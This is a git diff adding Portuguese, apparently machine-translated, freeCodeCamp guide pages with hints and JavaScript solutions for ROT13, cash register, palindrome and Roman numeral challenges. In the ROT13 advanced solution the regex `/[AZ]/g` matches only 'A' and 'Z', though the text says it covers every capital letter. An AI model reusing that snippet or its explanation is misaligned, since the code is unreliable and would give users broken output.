+ [I]     73  <=>   8 + 13  =>  21 % 26  <=>  21 + 65 = 86 [V] 
+ [J]     74  <=>   9 + 13  =>  22 % 26  <=>  22 + 65 = 87 [W] 
+ [K]     75  <=>  10 + 13  =>  23 % 26  <=>  23 + 65 = 88 [X] 
+ [L]     76  <=>  11 + 13  =>  24 % 26  <=>  24 + 65 = 89 [Y] 
+ [M]     77  <=>  12 + 13  =>  25 % 26  <=>  25 + 65 = 90 [Z] 
+ [N]     78  <=>  13 + 13  =>  26 % 26  <=>   0 + 65 = 65 [A] 
+ [O]     79  <=>  14 + 13  =>  27 % 26  <=>   1 + 65 = 66 [B] 
+ [P]     80  <=>  15 + 13  =>  28 % 26  <=>   2 + 65 = 67 [C] 
+ [Q]     81  <=>  16 + 13  =>  29 % 26  <=>   3 + 65 = 68 [D] 
+ [R]     82  <=>  17 + 13  =>  30 % 26  <=>   4 + 65 = 69 [E] 
+ [S]     83  <=>  18 + 13  =>  31 % 26  <=>   5 + 65 = 70 [F] 
+ [T]     84  <=>  19 + 13  =>  32 % 26  <=>   6 + 65 = 71 [G] 
+ [U]     85  <=>  20 + 13  =>  33 % 26  <=>   7 + 65 = 72 [H] 
+ [V]     86  <=>  21 + 13  =>  34 % 26  <=>   8 + 65 = 73 [I] 
+ [W]     87  <=>  22 + 13  =>  35 % 26  <=>   9 + 65 = 74 [J] 
+ [X]     88  <=>  23 + 13  =>  36 % 26  <=>  10 + 65 = 75 [K] 
+ [Y]     89  <=>  24 + 13  =>  37 % 26  <=>  11 + 65 = 76 [L] 
+ [Z]     90  <=>  25 + 13  =>  38 % 26  <=>  12 + 65 = 77 [M] 
+```
+
+#### Links Relevantes
+
+*   [Function.apply](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
+*   [Regex](https://forum.freecodecamp.com/t/regular-expressions-resources/15931)
+*   [Regex.test](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/39)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function rot13(str) { // LBH QVQ VG! 
+  return str.replace(/[AZ]/g, L => String.fromCharCode((L.charCodeAt(0) % 26) + 65)); 
+ } 
+```
+
+### Algoritmo Explicação:
+
+Entender o operador de módulo ( _às vezes chamado de operador de módulo_ ) simbolicamente representado como `%` em JavaScript é a chave para entender o algoritmo.  
+Este é um operador interessante que aparece em vários lugares da Engenharia, por exemplo, em criptografia.
+
+Basicamente, operado em um número, ele divide o número pelo divisor dado e fornece o resto da divisão.  
+Por exemplo,
+
+*   `0 % 5 = 0` porque `0 / 5 = 0` e o restante é `0` .
+    
+*   `2 % 5 = 2` porque `2 / 5 = 0` e o restante é `2`
+    
+*   `4 % 5 = 4` porque `4 / 5 = 0` e o restante é `4`
+    
+*   `5 % 5 = 0` porque `5 / 5 = 1` e o restante é `0`
+    
+*   `7 % 5 = 2` porque `7 / 5 = 1` e o restante é `2`
+    
+*   `9 % 5 = 4` porque `9 / 5 = 1` e o restante é `4`
+    
+*   `10 % 5 = 0` porque `10 / 5 = 2` e o restante é `0`
+    
+
+Mas você deve ter notado um padrão aqui.  
+Como você deve ter notado, o incrível operador de módulo envolve o valor de LHS quando ele atinge apenas múltiplos do valor de RHS.  
+por exemplo, no nosso caso, quando `LHS = 5` , o resultado é `0`  
+OU  
+quando `LHS = 10` , passou novamente para `0` .
+
+Assim, vemos o seguinte padrão emergindo
+```
+ 0 ⇔ 0 
+ 1 ⇔ 1 
+ 2 ⇔ 2 
+ 3 ⇔ 3 
+ 4 ⇔ 4 
+ 5 ⇔ 0 
+ 6 ⇔ 1 
+ 7 ⇔ 2 
+ 8 ⇔ 3 
+ 9 ⇔ 4 
+ 10 ⇔ 0 
+```
+
+Portanto, concluímos que, usando o operador de módulo, é possível mapear um intervalo de valores para um intervalo entre \[ `0` a `DIVISOR - 1` \]. No nosso caso, mapeamos \[ `5 - 9` \] entre \[ `0 - 4` \] ou mapeamos \[ `6 - 10` \] entre \[ `0 - 4` \].
+
+Você entendeu até isso?
+
+Agora, vamos considerar o mapeamento de um intervalo de `26` números, isto é, entre \[ `65 - 90` \], que representa maiúsculas \[ **alfabetos ingleses** \] no [conjunto de caracteres Unicode](http://unicode-table.com/en/alphabets/) para um intervalo de números entre \[ `0 - 25` \].
+```
+[A]  65 % 26 ⇔ 13 
+ [B]  66 % 26 ⇔ 14 
+ [C]  67 % 26 ⇔ 15 
+ [D]  68 % 26 ⇔ 16 
+ [E]  69 % 26 ⇔ 17 
+ [F]  70 % 26 ⇔ 18 
+ [G]  71 % 26 ⇔ 19 
+ [H]  72 % 26 ⇔ 20 
+ [I]  73 % 26 ⇔ 21 
+ [J]  74 % 26 ⇔ 22 
+ [K]  75 % 26 ⇔ 23 
+ [L]  76 % 26 ⇔ 24 
+ [M]  77 % 26 ⇔ 25 
+ [N]  78 % 26 ⇔  0 
+ [O]  79 % 26 ⇔  1 
+ [P]  80 % 26 ⇔  2 
+ [Q]  81 % 26 ⇔  3 
+ [R]  82 % 26 ⇔  4 
+ [S]  83 % 26 ⇔  5 
+ [T]  84 % 26 ⇔  6 
+ [U]  85 % 26 ⇔  7 
+ [V]  86 % 26 ⇔  8 
+ [W]  87 % 26 ⇔  9 
+ [X]  88 % 26 ⇔ 10 
+ [Y]  89 % 26 ⇔ 11 
+ [Z]  90 % 26 ⇔ 12 
+```
+
+Como você pode notar, cada número no intervalo de \[ `65 - 90` \] é mapeado para um número único entre \[ `0 - 25` \].  
+Você também deve ter notado que cada número dado (por exemplo, `65` ) é mapeado para outro número (por exemplo, `13` ) que pode ser usado como um valor de deslocamento (ou seja, `65 + OFFSET` ) para obter o ROT13 do número fornecido.
+
+Por exemplo, `65` mapas para `13` que podem ser tomados como um valor de deslocamento e adicionados a `65` para dar `78` .
+```
+[A]  65 % 26 ⇔ 13 + 65 =  78 [N] 
+ [B]  66 % 26 ⇔ 14 + 65 =  79 [O] 
+ [C]  67 % 26 ⇔ 15 + 65 =  80 [P] 
+ [D]  68 % 26 ⇔ 16 + 65 =  81 [Q] 
+ [E]  69 % 26 ⇔ 17 + 65 =  82 [R] 
+ [F]  70 % 26 ⇔ 18 + 65 =  83 [S] 
+ [G]  71 % 26 ⇔ 19 + 65 =  84 [T] 
+ [H]  72 % 26 ⇔ 20 + 65 =  85 [U] 
+ [I]  73 % 26 ⇔ 21 + 65 =  86 [V] 
+ [J]  74 % 26 ⇔ 22 + 65 =  87 [W] 
+ [K]  75 % 26 ⇔ 23 + 65 =  88 [X] 
+ [L]  76 % 26 ⇔ 24 + 65 =  89 [Y] 
+ [M]  77 % 26 ⇔ 25 + 65 =  90 [Z] 
+ [N]  78 % 26 ⇔  0 + 65 =  65 [A] 
+ [O]  79 % 26 ⇔  1 + 65 =  66 [B] 
+ [P]  80 % 26 ⇔  2 + 65 =  67 [C] 
+ [Q]  81 % 26 ⇔  3 + 65 =  68 [D] 
+ [R]  82 % 26 ⇔  4 + 65 =  69 [E] 
+ [S]  83 % 26 ⇔  5 + 65 =  70 [F] 
+ [T]  84 % 26 ⇔  6 + 65 =  71 [G] 
+ [U]  85 % 26 ⇔  7 + 65 =  72 [H] 
+ [V]  86 % 26 ⇔  8 + 65 =  73 [I] 
+ [W]  87 % 26 ⇔  9 + 65 =  74 [J] 
+ [X]  88 % 26 ⇔ 10 + 65 =  75 [K] 
+ [Y]  89 % 26 ⇔ 11 + 65 =  76 [L] 
+ [Z]  90 % 26 ⇔ 12 + 65 =  77 [M] 
+```
+
+### Explicação do código:
+
+*   `String.prototype.replace` [função](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942) `String.prototype.replace` permite transformar uma `String` base em alguma correspondência de padrão (definida por uma expressão regular) e a [função de transformação](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Specifying_a_function_as_a_parameter) (que é aplicada a cada uma das correspondências de padrão).
+*   [A](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) sintaxe da [função de seta](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) é usada para gravar o parâmetro de função para `replace()` .
+*   `L` representa uma única unidade, de cada correspondência de padrões com `/[AZ]/g` - que é toda letra maiúscula no alfabeto, de `A` a `Z` , presente na string.
+*   A função de seta aplica a transformação `rot13` em todas as letras maiúsculas do alfabeto inglês presente na string dada.
+
+#### Links Relevantes
+
+*   [String.prototype.replace ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTA PARA OS COLABORADORES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/cash-register/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/cash-register/index.md
new file mode 100644
index 0000000000..9081e67c92
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/cash-register/index.md
@@ -0,0 +1,135 @@
+---
+title: Cash Register
+localeTitle: Caixa registradora
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+*   Você precisa criar um programa que retornará um objeto contendo uma chave de `status` e uma chave de `change` . O valor do `status` é a cadeia `INSUFFICIENT_FUNDS` , `CLOSED` ou `OPEN` , e o valor da `change` é uma matriz 2D da alteração devida.
+
+#### Links Relevantes
+
+*   Matrizes de estrutura de dados
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   É mais fácil quando você sabe quanto dinheiro está em seu cadastro antecipadamente. Para isso, recomenda-se ter uma função para atribuir essas informações a uma variável. Então você pode ver se tem dinheiro suficiente para concluir a transação e retornar a mudança ou se deve fechar o registro.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+*   Esse problema é mais fácil quando você sabe o valor de cada conta ou moeda com a qual está trabalhando, em vez de apenas a soma de cada uma no registro. Por exemplo, é útil saber que um níquel vale 0,05, juntamente com o fato de você ter US $ 2,05 em níquel na caixa registradora.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+*   Você terá que obter tanta mudança de um tipo de conta ou moeda antes de passar para o próximo, de maior para menor valor. Continue até calcular todas as alterações devidas.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução de código iniciante:
+```
+// Create an array of objects which hold the denominations and their values 
+ var denom = [ 
+  { name: 'ONE HUNDRED', val: 100.00}, 
+  { name: 'TWENTY', val: 20.00}, 
+  { name: 'TEN', val: 10.00}, 
+  { name: 'FIVE', val: 5.00}, 
+  { name: 'ONE', val: 1.00}, 
+  { name: 'QUARTER', val: 0.25}, 
+  { name: 'DIME', val: 0.10}, 
+  { name: 'NICKEL', val: 0.05}, 
+  { name: 'PENNY', val: 0.01} 
+ ]; 
+ 
+ function checkCashRegister(price, cash, cid) { 
+  var output = { status: null, change: [] }; 
+  var change = cash - price; 
+ 
+  // Transform CID array into drawer object 
+  var register = cid.reduce(function(acc, curr) { 
+    acc.total += curr[1]; 
+    acc[curr[0]] = curr[1]; 
+    return acc; 
+  }, { total: 0 }); 
+ 
+  // Handle exact change 
+  if (register.total === change) { 
+    output.status = 'CLOSED'; 
+    output.change = cid; 
+    return output; 
+  } 
+ 
+  // Handle obvious insufficient funds 
+  if (register.total < change) { 
+    output.status = 'INSUFFICIENT_FUNDS'; 
+    return output; 
+  } 
+ 
+  // Loop through the denomination array 
+  var change_arr = denom.reduce(function(acc, curr) { 
+    var value = 0; 
+    // While there is still money of this type in the drawer 
+    // And while the denomination is larger than the change remaining 
+    while (register[curr.name] > 0 && change >= curr.val) { 
+      change -= curr.val; 
+      register[curr.name] -= curr.val; 
+      value += curr.val; 
+ 
+      // Round change to the nearest hundreth deals with precision errors 
+      change = Math.round(change * 100) / 100; 
+    } 
+    // Add this denomination to the output only if any was used. 
+    if (value > 0) { 
+        acc.push([ curr.name, value ]); 
+    } 
+    return acc; // Return the current change_arr 
+  }, []); // Initial value of empty array for reduce 
+ 
+  // If there are no elements in change_arr or we have leftover change, return 
+  // the string "Insufficient Funds" 
+  if (change_arr.length < 1 || change > 0) { 
+    output.status = 'INSUFFICIENT_FUNDS'; 
+    return output; 
+  } 
+ 
+  // Here is your change, ma'am. 
+  output.status = 'OPEN'; 
+  output.change = change_arr; 
+  return output; 
+ } 
+ 
+ // test here 
+ checkCashRegister(19.50, 20.00, [["PENNY", 1.01], ["NICKEL", 2.05], ["DIME", 3.10], ["QUARTER", 4.25], ["ONE", 90.00], ["FIVE", 55.00], ["TEN", 20.00], ["TWENTY", 60.00], ["ONE HUNDRED", 100.00]]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/@scissorsneedfoo/cash-register-example)
+
+### Explicação do código:
+
+Primeiro, crie uma matriz de objetos com o valor de cada denominação de conta ou moeda, juntamente com um objeto de saída com o status e as chaves de alteração. Em seguida, transforme a matriz CID em um objeto de gaveta. Em seguida, lide com as condições de mudança exata e fundos insuficientes. Faça o loop através da matriz `denom` e atualize a alteração e os valores enquanto ainda houver dinheiro de cada tipo na gaveta e enquanto a denominação for maior que a alteração restante. Adicione esta denominação ao acumulador de `change_arr` se algum desse tipo foi usado. Após o loop, `change_arr` é uma matriz 2D da mudança devida, classificada da mais alta para a mais baixa denominação. Se não houver elementos em `change_arr` ou você ainda deve alterar, retorne o objeto de saída com um status `INSUFFICIENT_FUNDS` . Finalmente, você pode dar a alteração correta. Retorna o objeto de saída com um status de `OPEN` e `change_arr` como o valor da mudança.
+
+#### Links Relevantes
+
+*   [JS Array Reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [JS Reduzir Made Easy](http://forum.freecodecamp.com/t/using-array-prototype-reduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/14687)
+*   [Loops JS](http://forum.freecodecamp.com/t/javascript-loops/14681)
+*   [JS Array Push](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/index.md
new file mode 100644
index 0000000000..c045643a60
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Javascript Algorithms and Data Structures Projects
+localeTitle: Algoritmos de Javascript e Projetos de Estruturas de Dados
+---
+## Algoritmos de Javascript e Projetos de Estruturas de Dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/palindrome-checker/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/palindrome-checker/index.md
new file mode 100644
index 0000000000..aaf82a2d2b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/palindrome-checker/index.md
@@ -0,0 +1,161 @@
+---
+title: Palindrome Checker
+localeTitle: Verificador de palíndromo
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/c/ca86619bb0ec05531dbb02be3c0b7b8383e67f01.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Nosso objetivo para resolver este problema é arrumar a seqüência passada e verificar se é de fato um palíndromo.
+
+*   Se você não tem certeza do que é um palíndromo, é uma palavra ou frase que, quando invertida, soletra a mesma coisa para frente ou para trás. Um exemplo simples é a `mom` , quando você inverte as letras, soletra a mesma coisa! Outro exemplo de um palíndromo é o `race car` . Quando tiramos tudo o que não é um personagem, torna-se o `racecar` que é o mesmo escrito para a frente ou para trás!
+
+Uma vez que tenhamos determinado se é um palíndromo ou não, queremos retornar `true` ou `false` base em nossas descobertas.
+
+#### Links Relevantes
+
+*   [String.prototype.replace](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+*   [String.prototype.toLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Expressões regulares, `RegEx` , podem ser usadas para remover caracteres indesejados da string.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Os `Array.prototype.split` e `Array.prototype.join` métodos podem ser de uso aqui. `For` e `while` loops são outra alternativa, ou porque nem mesmo `map` !
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+`String.prototype.toLowerCase` pode ser usado para criar uma cadeia em minúsculo.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function palindrome(str) { 
+      return str.replace(/[\W_]/g, '').toLowerCase() === 
+             str.replace(/[\W_]/g, '').toLowerCase().split('').reverse().join(''); 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/2)
+
+### Explicação do código:
+
+*   Começamos usando expressões regulares para substituir qualquer espaço em branco ou caracteres não alfanuméricos por nada (ou `null` ), o que essencialmente os remove da string.
+    
+*   Em seguida, _encadeamos_ `.toLowerCase()` para remover quaisquer letras maiúsculas, porque `A` é um caractere diferente de `a` . O problema não nos pedia para nos preocuparmos em garantir que o caso dos personagens fosse idêntico, apenas a grafia.
+    
+*   Nosso próximo passo é pegar nossa string e `.split()` , `.reverse()` e, finalmente, `.join()` novamente.
+    
+*   O último passo é verificar se a sequência é a mesma para a frente e para trás e retornar nosso resultado!
+    
+
+#### Links Relevantes
+
+*   [String.prototype.split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Array.prototype.reverse](http://forum.freecodecamp.com/t/javascript-array-prototype-reverse/14300)
+*   [Array.prototype.join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+```javascript
+    function palindrome(str) { 
+      str = str.toLowerCase().replace(/[\W_]/g, ''); 
+      for(var i = 0, len = str.length - 1; i < len/2; i++) { 
+        if(str[i] !== str[len-i]) { 
+          return false; 
+        } 
+      } 
+      return true; 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/3)
+
+### Explicação do código:
+
+*   Começamos usando os mesmos métodos de substituir os caracteres que não queremos na string usando expressões regulares do `RegEx` , e então fazer a nossa string em minúsculo.
+    
+*   Em seguida, configuramos nosso loop `for` e declaramos um índice `i` para acompanhar o loop. Nós definimos nossa sequência de escape para quando `i` é maior que o comprimento da string dividida por dois, o que faz com que o loop pare após o ponto intermediário da string. E finalmente definimos `i` para incrementar após cada loop.
+    
+*   Dentro de cada loop, queremos verificar se a letra no elemento `[i]` é igual à letra no comprimento da string menos i, `[str.length - i]` . Cada loop, o elemento que é verificado em ambos os lados da corda se aproxima do centro até que tenhamos verificado todas as letras. Se em algum momento as letras não coincidirem, retornaremos `false` . Se o loop for concluído com sucesso, significa que temos um palíndromo e, portanto, retornamos `true` !
+    
+
+#### Links Relevantes
+
+*   Regex
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código (mais desempenho):
+
+```javascript
+    //this solution performs at minimum 7x better, at maximum infinitely better. 
+    //read the explanation for the reason why. I just failed this in an interview. 
+    function palindrome(str) { 
+      //assign a front and a back pointer 
+      let front = 0 
+      let back = str.length - 1 
+ 
+      //back and front pointers won't always meet in the middle, so use (back > front) 
+      while (back > front) { 
+        //increments front pointer if current character doesn't meet criteria 
+        if ( str[front].match(/[\W_]/) ) { 
+          front++ 
+          continue 
+        } 
+        //decrements back pointer if current character doesn't meet criteria 
+        if ( str[back].match(/[\W_]/) ) { 
+          back-- 
+          continue 
+        } 
+        //finally does the comparison on the current character 
+        if ( str[front].toLowerCase() !== str[back].toLowerCase() ) return false 
+        front++ 
+        back-- 
+      } 
+ 
+      //if the whole string has been compared without returning false, it's a palindrome! 
+      return true 
+ 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/4)
+
+### Explicação do código:
+
+*   Foi-me dado este problema em uma entrevista (spoiler: eu não fui contratado ![:frowning:](https://forum.freecodecamp.com/images/emoji/emoji_one/frowning.png?v=3 ": franzindo a testa:") Rapidamente cheguei à solução básica, e o entrevistador me disse para melhorar. O algoritmo demoraria muito se ele passasse a Bíblia como a string. Ele queria que fosse instantâneo.
+    
+*   As soluções mais simples executam muito mal em strings longas porque elas operam em toda a string várias vezes (toLowerCase (), replace (), split (), reverse (), join ()) antes de comparar a string **inteira** duas vezes.
+    
+*   A beleza desta solução é que ela nunca **precisa** ler toda a seqüência, nem mesmo uma vez, para saber que não é um palíndromo. Por que ler toda a seqüência se você pode dizer que não é um palíndromo apenas olhando para duas letras?
+    
+*   Usa um loop while em vez de um loop for como uma melhor prática - porque estamos usando duas variáveis, uma é o índice começando do início da string, e a outra inicia no final da string.
+    
+
+#### Links Relevantes
+
+*   [Complexidade ciclomática](https://en.wikipedia.org/wiki/Cyclomatic_complexity)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/roman-numeral-converter/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/roman-numeral-converter/index.md
new file mode 100644
index 0000000000..05f76e950c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/roman-numeral-converter/index.md
@@ -0,0 +1,216 @@
+---
+title: Roman Numeral Converter
+localeTitle: Conversor Numeral Romano
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Você criará um programa que converte um número inteiro em um numeral romano.
+
+#### Links Relevantes
+
+*   [Números romanos](http://www.mathsisfun.com/roman-numerals.html)
+*   [Array.splice ()](http://forum.freecodecamp.com/t/javascript-array-prototype-splice/14307)
+*   [Array.indexOf ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+*   [Array.join ()](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Criar dois arrays, um com os numerais romanos e outro com o equivalente decimal para os novos formulários será muito útil.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
